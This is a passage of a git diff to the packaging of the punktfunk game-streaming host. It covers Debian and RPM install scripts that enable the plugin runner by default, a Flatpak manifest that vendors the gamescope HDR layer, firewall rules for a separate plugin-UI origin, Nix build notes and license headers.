reuse the host's own detector so # the warning lives in one place. Exit 1 = found; never fail the install on it. if command -v punktfunk-host >/dev/null 2>&1; then diff --git a/packaging/debian/build-scripting-deb.sh b/packaging/debian/build-scripting-deb.sh index 8d9030cd..7920cfd6 100755 --- a/packaging/debian/build-scripting-deb.sh +++ b/packaging/debian/build-scripting-deb.sh @@ -114,20 +114,36 @@ Description: punktfunk plugin/script runner (Effect SDK on bun) capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run). Bundles its own bun runtime (no system nodejs/bun dependency). . - OPT-IN: the systemd --user unit is installed but not auto-enabled (the runner is inert until you add - scripts or plugins). A plugin auto-wires to the host's mgmt token + identity cert on the same box — - no env editing. Enable it with: systemctl --user enable --now punktfunk-scripting + ON BY DEFAULT: the systemd --user unit is enabled for every user (systemctl --global). The runner is + inert until you add scripts or plugins, and the game-library scanners now ship AS plugins — so a + host without the runner has an empty library and no obvious reason why. A plugin auto-wires to the + host's mgmt token + identity cert on the same box — no env editing. + Opt out per user with: systemctl --user mask punktfunk-scripting EOF cat > "$STAGE/DEBIAN/postinst" <<'EOF' #!/bin/sh set -e if [ "$1" = "configure" ]; then - echo "punktfunk-scripting installed. It runs your automation — add scripts to" + # `--global`, not `--user`: a maintainer script has no user session to act on, and this is the + # only mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into + # /etc/systemd/user/…wants/). The library's scanners are plugins now, so the runner is a default + # component rather than an add-on (design D9) — but installing it stays opt-OUT, and the opt-out + # is `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a + # global symlink. + # + # Only on FIRST configure ($2 empty): re-running it on every upgrade would silently undo the + # mask of anyone who turned it off. + if [ -z "$2" ] && command -v systemctl >/dev/null 2>&1; then + systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || true + fi + echo "punktfunk-scripting installed and enabled for all users." + echo "It runs your automation — game-library sources, scripts in" echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)" - echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-)," - echo "then enable the runner for your user:" - echo " systemctl --user enable --now punktfunk-scripting" + echo "and plugins under ~/.config/punktfunk/plugins/." + echo "It starts with your next login; start it now with:" + echo " systemctl --user start punktfunk-scripting" + echo "Don't want it? systemctl --user mask punktfunk-scripting" fi exit 0 EOF diff --git a/packaging/flatpak/io.unom.Punktfunk.yml b/packaging/flatpak/io.unom.Punktfunk.yml index 27469972..4e7bfa32 100644 --- a/packaging/flatpak/io.unom.Punktfunk.yml +++ b/packaging/flatpak/io.unom.Punktfunk.yml @@ -91,28 +91,43 @@ finish-args: # --- persistent client identity / pairing store (shared with punktfunk-probe) --- - --filesystem=~/.config/punktfunk:create # client-{cert,key}.pem, known-hosts, settings # --- HDR under gamescope (Steam Deck Game Mode) --- - # A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so the SDL3 surface never - # offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps PQ->SDR — the - # Game-Mode HDR indicator stays dark (verified on a Deck OLED: the sandbox loader found NO - # frog/gamescope layer). The layer ships as the runtime extension - # `org.freedesktop.Platform.VulkanLayer.gamescope`, which org.gnome.Platform//50 auto-mounts at - # /usr/lib/extensions/vulkan/gamescope once installed (a one-time, per-Deck step; keep it in the - # Decky plugin's setup / docs): - # flatpak install --user -y flathub org.freedesktop.Platform.VulkanLayer.gamescope//25.08 - # THREE things are needed, not two (verified live on a Deck OLED — the env vars alone left - # hdr10_format=None). (1) VK_ADD_IMPLICIT_LAYER_PATH puts the layer's implicit-layer JSON on the - # Vulkan loader's search path (the runtime point mounts the files but not onto the path). (2) - # ENABLE_GAMESCOPE_WSI flips the layer's own `enable_environment` gate. (3) The layer, once - # loaded, must open a *Wayland* connection to gamescope's private socket ($GAMESCOPE_WAYLAND_DISPLAY - # = gamescope-0) to negotiate the HDR10 colorspace via the gamescope_swapchain protocol — but the - # Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported), so --socket=wayland - # binds nothing and that socket never enters the sandbox. Without it the layer loads, maps, and - # silently can't reach the compositor → no HDR10 offered → PQ tone-mapped to SDR, badge dark. - # Binding xdg-run/gamescope-0 is the missing half (chiaki-ng does the same). With all three the - # surface offers HDR10 and the presenter's existing HDR10 swapchain path engages — no client code - # change. Harmless off-Deck: the layer no-ops when there's no gamescope socket to bind. - - --env=VK_ADD_IMPLICIT_LAYER_PATH=/usr/lib/extensions/vulkan/gamescope/share/vulkan/implicit_layer.d + # A flatpak's Vulkan loader can't see the host's gamescope WSI layer, so without help the SDL3 + # surface never offers the HDR10 (ST.2084) colorspace and the presenter silently tone-maps + # PQ->SDR — the field-reported "HDR->SDR" badge. The layer is now VENDORED (see the + # gamescope-wsi-layer module below), so it is always present and there is no longer any + # manual `flatpak install ... VulkanLayer.gamescope` step for the user. + # FOUR things are needed. An earlier revision of this block claimed three and was WRONG: the + # fourth is the gate that makes the other three moot, so the Deck sat at hdr10_format=None with + # all of (1)-(3) in place, which is exactly the field report ("HDR->SDR" in the stats overlay). + # (1) the layer's implicit-layer JSON must be on the Vulkan loader's search path — now + # automatic, the vendored module installs it to /app/share/vulkan/implicit_layer.d which + # XDG_DATA_DIRS already covers. (2) ENABLE_GAMESCOPE_WSI + # flips the layer's own `enable_environment` gate. (3) --filesystem=xdg-run/gamescope-0 binds + # gamescope's private Wayland socket: the layer must reach the compositor over it to negotiate + # HDR10, and the Deck runs games as X11 clients (DISPLAY=:1, no WAYLAND_DISPLAY exported) so + # --socket=wayland binds nothing (chiaki-ng does the same). (4) GAMESCOPE_WAYLAND_DISPLAY must be + # set INSIDE the sandbox. The layer's `isRunningUnderGamescope()` reads that env var and nothing + # else; flatpak does not forward host env, so it arrives unset and the layer's CreateInstance + # early-returns before it ever creates a GamescopeInstance. The layer still LOADS and still logs + # its generic bits ("Forcing on VK_EXT_swapchain_maintenance1", swapchain destroys), which is why + # this reads as working — but no gamescope surface is made, so no HDR10 format is ever appended + # and (1)-(3) buy nothing. Measured on a Deck OLED (Galileo, SteamOS 3.8.16) 2026-08-05, client + # `--browse`, reading `pf_presenter::vk::setup` "swapchain config": + # unset -> no "[Gamescope WSI] Surface state" block at all, hdr10_format=None + # set, hdr_enabled=0 -> "server hdr output enabled: false", hdr10_format=None + # set, hdr_enabled=1 -> "hdr formats exposed to client: true", + # hdr10_format=Some(A2B10G10R10_UNORM_PACK32, HDR10_ST2084_EXT) + # DXVK_HDR is NOT the gate for us and was ruled out by measurement: the layer forces it OFF for + # clients it has already decided to deny, it does not turn HDR on. + # Hardcoding `gamescope-0` matches the socket bound just below, and is safe off-Deck both ways: + # on a normal Wayland desktop --socket=wayland sets WAYLAND_DISPLAY=wayland-0 inside the sandbox + # and the layer bails on the mismatch; on X11-only there is no gamescope socket to connect to, so + # it prints one "Bypass layer will be unavailable" line and passes through. + # The REMAINING gate is not ours: gamescope's `hdr_enabled` convar (Steam's HDR display setting) + # drives the GAMESCOPE_HDR_OUTPUT_FEEDBACK X property the layer reads, and with it off no app on + # the Deck gets HDR. See docs — that one is a user/Decky-side step, not a packaging one. - --env=ENABLE_GAMESCOPE_WSI=1 + - --env=GAMESCOPE_WAYLAND_DISPLAY=gamescope-0 # the layer's ONLY "am I under gamescope?" signal - --filesystem=xdg-run/gamescope-0 # gamescope's private Wayland socket (HDR negotiation) build-options: @@ -168,6 +183,117 @@ modules: - /lib/cmake - /lib/pkgconfig + # --------------------------------------------------------------------------------------- + # Vulkan-Headers — build-time `vulkan/vulkan.h` for anything below that compiles against + # Vulkan, which the GNOME SDK is not guaranteed to ship dev headers for. Headers only, no + # compile, and `cleanup: '*'` so nothing reaches the runtime (the Vulkan LOADER comes from + # the GL runtime). + # + # It was added for the session binary's pf-ffvk crate, which ran bindgen over FFmpeg's + # libavutil/hwcontext_vulkan.h. M10 deleted pf-ffvk along with the rest of the client's + # FFmpeg (design/client-native-decode.md §6), so that consumer is gone — but the module + # stays, because the gamescope WSI layer built two modules below is itself a VULKAN LAYER + # and compiles against these headers. Module order is the dependency: this one must build + # first. Do not drop it as dead weight; flatpak.yml has no `pull_request:` trigger, so a + # manifest break of that kind reaches main invisibly and a tag then ships no Linux flatpak. + # The native decoder needs nothing from here — pf-vkdecode reaches Vulkan through `ash`, + # which is pure Rust bindings with no bindgen and no C headers. + # --------------------------------------------------------------------------------------- + - name: vulkan-headers + buildsystem: cmake-ninja + sources: + - type: archive + url: https://github.com/KhronosGroup/Vulkan-Headers/archive/refs/tags/vulkan-sdk-1.4.313.0.tar.gz + # `sha256sum vulkan-sdk-1.4.313.0.tar.gz` (verified 2026-07-07). Bump url + sha together. + sha256: 20743c99a96c07290f24377360e7a12bdd2c465ba202e0c7ef2ec25d446cf61d + cleanup: + - '*' + + # --------------------------------------------------------------------------------------- + # gamescope WSI layer — VENDORED, so HDR works from a plain `flatpak install` with no + # second step. This is the ONLY route to HDR on a Deck: measured on SteamOS 3.8.16 + # (gamescope 3.16.23.4), the gamescope-0 socket advertises `gamescope_swapchain_factory_v2` + # but NOT `wp_color_manager_v1` (checked with HDR both off and on), so Mesa's Wayland WSI + # has no colour-management protocol to negotiate HDR10 through and only this layer can add + # the ST.2084 surface formats. Without it: zero `[Gamescope WSI]` lines, hdr10_format=None. + # + # It used to come from the flathub runtime extension + # `org.freedesktop.Platform.VulkanLayer.gamescope`, which every user had to install BY HAND + # (documented only in a comment here — so in practice nobody did, and the field report was + # "HDR->SDR" in the stats overlay). Vendoring instead of `add-extensions` autodownload, + # deliberately: that extension is 94 MB of whole-gamescope to deliver one 4 MB .so, its + # layer JSON hardcodes a /usr `library_path` that an app-scoped extension (mounted under + # /app) would not satisfy, and it would make flathub a hard install-time dependency of an + # app we self-host on flatpak.unom.io. + # + # Pinned to the SAME gamescope rev as packaging/gamescope/PKGBUILD (`_gsrev`) so the + # client's layer and the host's punktfunk-gamescope always come from one tree — bump both + # together. `enable_gamescope=false` skips subdir('src') and every compositor dependency + # (wlroots, SDL2, libliftoff, ...); only protocol/ and layer/ are built. + # + # `buildsystem: simple` rather than `meson` because two subprojects need their wrap + # `patch_directory` applied by hand: glm and stb ship NO meson.build of their own, and the + # one meson would normally inject lives in subprojects/packagefiles/. Cloning them as plain + # sources without that copy fails at configure with "Subproject exists but has no + # meson.build file". `--wrap-mode=nodownload` then proves the build is genuinely offline. + # + # The layer JSON is generated by meson from prefix+libdir, so it self-writes + # `library_path: /app/lib/libVkLayer_FROG_gamescope_wsi_x86_64.so` and lands in + # /app/share/vulkan/implicit_layer.d — already on the loader's search path via + # XDG_DATA_DIRS, which is why no VK_ADD_IMPLICIT_LAYER_PATH is needed (and why it was + # dropped from finish-args: pointing at the old /usr extension path too would risk + # double-loading two layers of the same name). + # + # Verified on a Deck OLED 2026-08-05: builds offline in org.gnome.Sdk//50, and the + # resulting .so drives the Deck's system gamescope to + # "hdr formats exposed to client: true" + hdr10_format=Some(...). + # --------------------------------------------------------------------------------------- + - name: gamescope-wsi-layer + buildsystem: simple + build-commands: + # Apply the wraps' patch_directory by hand (see above) — these supply the meson.build + # that glm and stb do not ship themselves. + - cp -r subprojects/packagefiles/glm/. subprojects/glm/ + - cp -r subprojects/packagefiles/stb/. subprojects/stb/ + - meson setup _build --prefix=/app --libdir=lib --wrap-mode=nodownload + -Denable_gamescope=false -Denable_gamescope_wsi_layer=true + -Denable_tests=false -Denable_openvr_support=false + - ninja -C _build + - ninja -C _build install + sources: + - type: git + url: https://github.com/ValveSoftware/gamescope.git + # KEEP IN SYNC with `_gsrev` in packaging/gamescope/PKGBUILD. + commit: 8c676c399c761e4540587f61004c957993d12fea + # Wrap pins as of that rev (`subprojects/*.wrap`). These are meson WRAPS, not gamescope + # submodules, so nothing else populates them and they need explicit sources. + # + # vkroots is deliberately NOT listed here. It is a real gamescope SUBMODULE, and + # flatpak-builder clones git sources with submodules by default — so it is already + # checked out at exactly the rev above (`git ls-tree subprojects/vkroots`), which + # leaves `subprojects/vkroots/.git` as a gitlink FILE. Declaring it again with + # `dest: subprojects/vkroots` made the extractor copy the bare mirror onto that path and + # die before any build command ran: + # cp: cannot overwrite non-directory '.../subprojects/vkroots/.git' with directory + # Re-adding it re-breaks the whole flatpak. If the submodule ever needs to be pinned away + # from the gamescope rev, set `disable-submodules: true` on the source above and then + # declare ALL THREE subprojects explicitly — not one of them alone. + - type: git + url: https://github.com/g-truc/glm.git + commit: 0af55ccecd98d4e5a8d1fad7de25ba429d60e863 + dest: subprojects/glm + - type: git + url: https://github.com/nothings/stb.git + commit: 5736b15f7ea0ffb08dd38af21067c314d6a3aae9 + dest: subprojects/stb + cleanup: + # Only the .so and its implicit-layer JSON are runtime. vkroots installs its dev files + # from the subproject, and the layer-only install still drops gamescope's display .lua + # scripts + LUT .cube files, none of which a client uses. + - /include + - /lib/pkgconfig + - /share/gamescope + # --------------------------------------------------------------------------------------- # The client. cargo-sources.json is the GENERATED offline crate cache: # python3 flatpak-cargo-generator.py Cargo.lock -o packaging/flatpak/cargo-sources.json diff --git a/packaging/linux/punktfunk-web.xml b/packaging/linux/punktfunk-web.xml index 730d06f0..7769ed7a 100644 --- a/packaging/linux/punktfunk-web.xml +++ b/packaging/linux/punktfunk-web.xml @@ -6,7 +6,8 @@ Installed to /usr/lib/firewalld/services/ by the punktfunk-host package. NOT enabled automatically (packages never touch the admin's firewall). Only useful if you installed the console (punktfunk-web) AND want to reach it from another device on the LAN — the console binds all interfaces on TCP 47992 - (HTTPS, login-gated). The streaming host itself does not need this open; enable it deliberately with + (HTTPS, login-gated), and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993 (see below). + The streaming host itself does not need this open; enable it deliberately with firewall-cmd (add-service=punktfunk-web, then reload). CachyOS/Ubuntu: use the ufw punktfunk-web profile instead. @@ -18,4 +19,12 @@ Punktfunk web console The optional punktfunk management web console (device pairing, status, GPU selection, performance graphs) over HTTPS. Open only if you run the punktfunk-web package and want the console reachable from other devices on the LAN. + + diff --git a/packaging/linux/punktfunk.ufw b/packaging/linux/punktfunk.ufw index b5cdbeb0..aac04650 100644 --- a/packaging/linux/punktfunk.ufw +++ b/packaging/linux/punktfunk.ufw @@ -36,8 +36,15 @@ ports=47984,47989,48010/tcp|47998:48010/udp|5353/udp # Run the host with `--mgmt-bind 127.0.0.1:47990` to keep 47990 loopback-only (then don't open it). # # The optional web console (the separate punktfunk-web package). Open only if you installed it and -# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated). +# want to reach it from another device — it binds all interfaces on TCP 47992 (HTTPS, login-gated), +# and serves plugin UIs from a SEPARATE ORIGIN on TCP 47993. +# +# 47993 is not a second console. A plugin's interface is third-party code, and serving it on the +# console's own origin let it act as the logged-in operator (security-review 2026-08-05 H-3). Same +# host, same certificate, different port: a different ORIGIN to the browser, so the same-origin +# policy is the boundary — but still the same SITE, so the login session still reaches it. It is +# login-gated exactly like the console, and only needed for plugins that ship a UI. [punktfunk-web] title=punktfunk web console -description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN -ports=47992/tcp +description=The optional punktfunk management web console (HTTPS, login-gated) reachable from the LAN, plus the separate-origin port its plugin UIs are served on +ports=47992,47993/tcp diff --git a/packaging/nix/README.md b/packaging/nix/README.md index 6cd00d2d..6d1a3456 100644 --- a/packaging/nix/README.md +++ b/packaging/nix/README.md @@ -234,18 +234,33 @@ The shell exports an already in the lockfile, via a generated-and-committed `bun.nix` (`web/bun.nix`, `sdk/bun.nix`). There is **no aggregate deps hash to bump** — the previous design put `bun install` in a fixed-output derivation whose single `outputHash` silently went stale on every lockfile change and - broke the build. `bun.nix` regenerates itself: `bun2nix` is a devDependency of both packages and - runs on every `bun install` (web's `postinstall`; the SDK's `prepare`, since sdk/ is the - *published* `@punktfunk/host` package and a `postinstall` would then fire on consumers' installs). - Regenerate by hand with `cd web && bunx bun2nix -o bun.nix` if a lockfile is ever edited directly. + broke the build. `bun2nix` is a devDependency of both packages and regenerates `bun.nix` on every + `bun install` (web's `postinstall`; the SDK's `prepare`, since sdk/ is the *published* + `@punktfunk/host` package and a `postinstall` would then fire on consumers' installs). The `@unom` scope needs no special handling: `web/bun.lock` records those tarballs' full `https://git.unom.io/api/packages/unom/npm/…` URLs and the registry is read-public (the same anonymous pull CI's rpm/deb builds do). - > ⚠ **`bun.nix` has no schema stability across bun2nix versions.** The flake input is pinned - > (`github:nix-community/bun2nix?ref=2.1.2`) and the npm devDependency is pinned to the *same* - > exact version in `web/package.json` + `sdk/package.json`. Move both together, then rerun - > `bun install` in `web/` and `sdk/` to regenerate. + > ⚠⚠ **That devDependency hook is a convenience, NOT the guarantee — `bun.nix` still drifts.** + > It fires only on a local `bun install` that runs lifecycle scripts. It does *not* fire under + > `bun install --ignore-scripts`, which is what every bun install in CI uses; and it cannot fire + > on a **merge or rebase**, where git carries someone else's `bun.lock` change past a `bun.nix` + > generated before it and reports no conflict. That is how `web/bun.nix` shipped on main holding + > `brace-expansion@5.0.7` while `web/bun.lock` said `5.0.8` — for **553 commits** (2026-07-27 → + > 2026-08-05), with `nix build .#punktfunk-web` broken the whole time, until an unrelated + > advisory bump happened to rerun a real `bun install` and closed it by accident. + > + > The enforcement point is **`scripts/ci/check-bun-nix.sh`** (the `bun-nix` job in `ci.yml`, + > unfiltered so it sees the innocuous-looking commits drift arrives through). It regenerates each + > `bun.nix` from its committed `bun.lock` and diffs. Fix any report with: + > + > scripts/ci/check-bun-nix.sh --fix + > + > Never regenerate with a bare `bunx bun2nix`: **`bun.nix` has no schema stability across bun2nix + > versions**, and an unpinned `bunx` uses whatever is newest. The flake input + > (`github:nix-community/bun2nix?ref=2.1.2`) and the npm devDependency in `web/package.json` + + > `sdk/package.json` must name the *same exact version* — the script checks that too, and always + > generates with the pinned one. Move all three together, then rerun it with `--fix`. Everything past the deps fetch is offline (the console's codegen + vite build; the runner's `bun build --target=bun` bundle). Both launchers exec `pkgs.bun` from the store — unlike the diff --git a/packaging/nix/nixos-module.nix b/packaging/nix/nixos-module.nix index 11c12b24..fe684878 100644 --- a/packaging/nix/nixos-module.nix +++ b/packaging/nix/nixos-module.nix @@ -234,7 +234,11 @@ in type = types.bool; default = cfg.host.openFirewall; defaultText = literalExpression "config.services.punktfunk.host.openFirewall"; - description = "Open TCP 47992 so the console is reachable from other devices on the LAN."; + description = '' + Open TCP 47992 so the console is reachable from other devices on the LAN, and TCP 47993, + the separate origin its plugin UIs are served from (without it, plugin interfaces do not + load in the console). + ''; }; autoStart = mkOption { @@ -388,7 +392,12 @@ in environment.systemPackages = [ cfg.web.package ]; networking.firewall = mkIf cfg.web.openFirewall { - allowedTCPPorts = [ 47992 ]; # console HTTPS (packaging/linux/punktfunk-web.xml) + # 47992 = the console itself. 47993 = the SEPARATE ORIGIN its plugin UIs are served from + # (console port + 1): same host and certificate, different port, so the browser's same-origin + # policy keeps a plugin from acting as the logged-in operator. Leaving it closed does not + # degrade gracefully — every plugin interface is simply an empty panel from any other device. + # Keep in step with packaging/linux/punktfunk-web.xml and punktfunk.ufw. + allowedTCPPorts = [ 47992 47993 ]; }; # First-run setup: generate the console login password once, in the user's config dir, and diff --git a/packaging/rpm/punktfunk.spec b/packaging/rpm/punktfunk.spec index 7ab004a7..d4d3eea9 100644 --- a/packaging/rpm/punktfunk.spec +++ b/packaging/rpm/punktfunk.spec @@ -83,9 +83,19 @@ BuildRequires: pkgconfig(opus) # FFmpeg dev headers with NVENC — from RPM Fusion (ffmpeg-devel), NOT ffmpeg-free. # Version-agnostic: ffmpeg-sys-next auto-detects the installed FFmpeg, so this builds # against FFmpeg 7.x (libavcodec 61, e.g. Fedora 43 / Bazzite) or 8.x (libavcodec 62). +# ALL SEVEN modules, not just the three we call directly: `ffmpeg-next` is pulled with default +# features, so its `-sys` build script pkg-config-probes codec/device/filter/format/util/ +# resampling/scaling and panics on the first one missing. RPM Fusion's ffmpeg-devel ships the lot +# in one package, which hid the gap — on a box where these resolve to Fedora's split +# libav*-free-devel packages instead, dnf installed only the three named here and the build died +# in ffmpeg-sys-next's build.rs on `libavfilter`. BuildRequires: pkgconfig(libavcodec) +BuildRequires: pkgconfig(libavdevice) +BuildRequires: pkgconfig(libavfilter) BuildRequires: pkgconfig(libavformat) BuildRequires: pkgconfig(libavutil) +BuildRequires: pkgconfig(libswresample) +BuildRequires: pkgconfig(libswscale) # Zero-copy GPU path: src/zerocopy/ links libGL + libgbm (mesa) via hand-rolled FFI. BuildRequires: pkgconfig(gl) BuildRequires: pkgconfig(gbm) @@ -193,9 +203,10 @@ The plugin/script runner for a punktfunk streaming host: it discovers loose scri ~/.config/punktfunk/scripts and installed punktfunk-plugin-* packages under ~/.config/punktfunk/ plugins, and supervises each as an Effect fiber (capped-jittered restart; SIGTERM shuts the whole tree down structurally so plugin finalizers run). A plugin auto-wires to the host's mgmt token + -identity cert on the same box — no env editing. Bundles its own bun runtime. OPT-IN: the systemd ---user unit ships disabled (the runner is inert until you add scripts/plugins). Enable with -`systemctl --user enable --now punktfunk-scripting`. +identity cert on the same box — no env editing. Bundles its own bun runtime. ON BY DEFAULT: the +systemd --user unit is enabled for every user (systemctl --global). The game-library scanners ship +as plugins, so a host without the runner has an empty library. Opt out per user with +`systemctl --user mask punktfunk-scripting`. %endif %prep @@ -560,6 +571,10 @@ update-desktop-database %{_datadir}/applications >/dev/null 2>&1 || : %post # The (empty) opt-in group for web-console-triggered updates — nobody is auto-added. getent group punktfunk-update >/dev/null 2>&1 || groupadd --system punktfunk-update 2>/dev/null || : +# Owns the usbip vhci attach/detach nodes (60-punktfunk.rules). Deliberately NOT 'input': writing +# 'attach' materialises an arbitrary emulated USB device — a root-only kernel primitive that must +# not ride on the group users are told to join for gamepads (security-review 2026-08-05 M-4). +getent group punktfunk >/dev/null 2>&1 || groupadd --system punktfunk 2>/dev/null || : # Reload udev so /dev/uinput picks up the new rule without a reboot (best-effort). udevadm control --reload-rules 2>/dev/null || : udevadm trigger --subsystem-match=misc 2>/dev/null || : @@ -567,6 +582,8 @@ udevadm trigger --subsystem-match=misc 2>/dev/null || : # it takes effect on the next boot into the layered deployment). sysctl -p %{_prefix}/lib/sysctl.d/99-punktfunk-net.conf >/dev/null 2>&1 || : echo "punktfunk installed. Add yourself to the 'input' group (sudo usermod -aG input \$USER)" +echo "For the virtual Steam Deck pad (usbip) ALSO: sudo usermod -aG punktfunk \$USER" +echo " — that group can emulate arbitrary USB devices; join it only on a machine you trust." echo "then enable the host: systemctl --user enable --now punktfunk-host" echo "Config: cp %{_datadir}/%{name}/host.env.bazzite ~/.config/punktfunk/host.env" # Fedora/RHEL run firewalld by default — point the way to the installed service definitions. @@ -575,6 +592,18 @@ if command -v firewall-cmd >/dev/null 2>&1; then echo " sudo firewall-cmd --permanent --add-service=punktfunk-gamestream && sudo firewall-cmd --reload" echo " (use punktfunk-native for the native-only host)" fi +# A RUNNING firewalld keeps serving the service definition it loaded at its last (re)start, so a +# port added to the XML by this upgrade — 47993, the separate origin plugin UIs are served from — +# is not open until a reload, and the console shows every plugin interface as an empty panel with +# nothing to explain it. `--info-service` asks the daemon, i.e. reads that stale copy. +if command -v firewall-cmd >/dev/null 2>&1 && + firewall-cmd --state >/dev/null 2>&1 && + firewall-cmd --query-service=punktfunk-web >/dev/null 2>&1 && + ! firewall-cmd --info-service=punktfunk-web 2>/dev/null | grep -q '47993'; then + echo "" + echo "punktfunk: the punktfunk-web firewalld service now also covers TCP 47993 (plugin UIs)." + echo " Plugin interfaces will not load in the console until: sudo firewall-cmd --reload" +fi # Conflicting Moonlight-compatible host (Sunshine/Apollo/...): reuse the host's own detector so the # warning stays in one place. Exit 1 = something found; never fail the install on it. if command -v punktfunk-host >/dev/null 2>&1; then @@ -590,16 +619,31 @@ fi echo "punktfunk-web installed. Enable the console for your user:" echo " systemctl --user enable --now punktfunk-web" echo "A login password is generated on first start — read it with:" -echo " journalctl --user -u punktfunk-web-init | sed -n 's/.*password generated: //p'" +# From the 0600 file, NOT the journal: the journal is persistent and group-readable (adm / +# systemd-journal on Debian-family, and this hint was copied around), so telling people to fish a +# password out of it published the secret to every member of those groups (review 2026-08-05 L-18). +echo " cut -d= -f2- \${XDG_CONFIG_HOME:-\$HOME/.config}/punktfunk/web-password" echo "Then open https://:47992" %endif %if %{with scripting} %post scripting -echo "punktfunk-scripting installed. It runs your automation — add scripts to" +# `--global`, not `--user`: a scriptlet has no user session to act on, and this is the only +# mechanism that makes a `--user` unit on-by-default for everyone (it symlinks into +# /etc/systemd/user/…wants/). The game-library scanners are plugins now, so the runner is a default +# component rather than an add-on (design D9); it stays opt-OUT via +# `systemctl --user mask punktfunk-scripting`, since a plain `--user disable` cannot remove a global +# symlink. $1 == 1 is a first INSTALL — on an upgrade ($1 > 1) this must not undo an operator's mask. +if [ "$1" -eq 1 ] && command -v systemctl >/dev/null 2>&1; then + systemctl --global enable punktfunk-scripting.service >/dev/null 2>&1 || : +fi +echo "punktfunk-scripting installed and enabled for all users." +echo "It runs your automation — game-library sources, scripts in" echo " ~/.config/punktfunk/scripts/ (loose .ts/.js files)" -echo "or install plugins into ~/.config/punktfunk/plugins/ (bun add punktfunk-plugin-)," -echo "then enable the runner: systemctl --user enable --now punktfunk-scripting" +echo "and plugins under ~/.config/punktfunk/plugins/." +echo "It starts with your next login; start it now with:" +echo " systemctl --user start punktfunk-scripting" +echo "Don't want it? systemctl --user mask punktfunk-scripting" %endif %changelog diff --git a/packaging/windows/README.md b/packaging/windows/README.md index 3e0b8bec..0a250ffb 100644 --- a/packaging/windows/README.md +++ b/packaging/windows/README.md @@ -224,7 +224,7 @@ path below is the maintainer's test box — substitute your own `punktfunk-probe # Recover a WEDGED driver. Symptom: every session fails with # create virtual output: pf-vdisplay ADD ...: DeviceIoControl(0x222400): Element nicht gefunden (0x80070490) # i.e. ERROR_NOT_FOUND — sustained ADD/REMOVE churn exhausted the IddCx monitor slots (ghost -# "Generic Monitor (punktfunk)" nodes pile up, target_ids climb). A host restart's CLEAR_ALL does NOT +# "Generic Monitor (Punktfunk)" nodes pile up, target_ids climb). A host restart's CLEAR_ALL does NOT # fix it; the driver instance must be reloaded. This clears the ghosts + cycles the adapter (no reboot — # this box boots to Proxmox). powershell -ExecutionPolicy Bypass -File reset-pf-vdisplay.ps1 -Verify -Probe C:\t-goal1\debug\punktfunk-probe.exe diff --git a/packaging/windows/drivers/LICENSE-APACHE b/packaging/windows/drivers/LICENSE-APACHE index ce5770dc..3826403e 100644 --- a/packaging/windows/drivers/LICENSE-APACHE +++ b/packaging/windows/drivers/LICENSE-APACHE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright 2026 unom + Copyright 2026 unom - Enrico Bühler Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/packaging/windows/drivers/LICENSE-MIT b/packaging/windows/drivers/LICENSE-MIT index f42d1f92..18796f0e 100644 --- a/packaging/windows/drivers/LICENSE-MIT +++ b/packaging/windows/drivers/LICENSE-MIT @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2026 unom +Copyright (c) 2026 unom - Enrico Bühler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/packaging/windows/pf-vkhdr-layer/LICENSE-APACHE b/packaging/windows/pf-vkhdr-layer/LICENSE-APACHE index ce5770dc..3826403e 100644 --- a/packaging/windows/pf-vkhdr-layer/LICENSE-APACHE +++ b/packaging/windows/pf-vkhdr-layer/LICENSE-APACHE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright 2026 unom + Copyright 2026 unom - Enrico Bühler Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. diff --git a/packaging/windows/pf-vkhdr-layer/LICENSE-MIT b/packaging/windows/pf-vkhdr-layer/LICENSE-MIT index f42d1f92..18796f0e 100644 --- a/packaging/windows/pf-vkhdr-layer/LICENSE-MIT +++ b/packaging/windows/pf-vkhdr-layer/LICENSE-MIT @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2026 unom +Copyright (c) 2026 unom - Enrico Bühler Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/packaging/windows/punktfunk-host.iss b/packaging/windows/punktfunk-host.iss index 4be77614..e845eb72 100644 --- a/packaging/windows/punktfunk-host.iss +++ b/packaging/windows/punktfunk-host.iss @@ -329,9 +329,8 @@ Filename: "{app}\punktfunk-host.exe"; Parameters: "web setup {code:WebSetupParam ; converges tasks an older installer registered as SYSTEM. ; Best-effort (-ErrorAction SilentlyContinue): a task hiccup never fails the whole install. No braces ; in the command, so no Inno {{ }} escaping needed. -Filename: "powershell.exe"; \ - Parameters: "-NoProfile -ExecutionPolicy Bypass -Command ""$a=New-ScheduledTaskAction -Execute '{app}\scripting\scripting-run.cmd'; $t=New-ScheduledTaskTrigger -AtStartup; $p=New-ScheduledTaskPrincipal -UserId 'LocalService' -LogonType ServiceAccount; $s=New-ScheduledTaskSettingsSet -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries; Register-ScheduledTask -TaskName PunktfunkScripting -Action $a -Trigger $t -Principal $p -Settings $s -Force -ErrorAction SilentlyContinue | Out-Null; Disable-ScheduledTask -TaskName PunktfunkScripting -ErrorAction SilentlyContinue | Out-Null"""; \ - StatusMsg: "Registering the Punktfunk script runner (disabled; opt-in)..."; Flags: runhidden waituntilterminated +Filename: "powershell.exe"; Parameters: "{code:ScriptingRegisterParams}"; \ + StatusMsg: "Registering the Punktfunk script runner..."; Flags: runhidden waituntilterminated #endif #if defined(WithWeb) || defined(WithScripting) 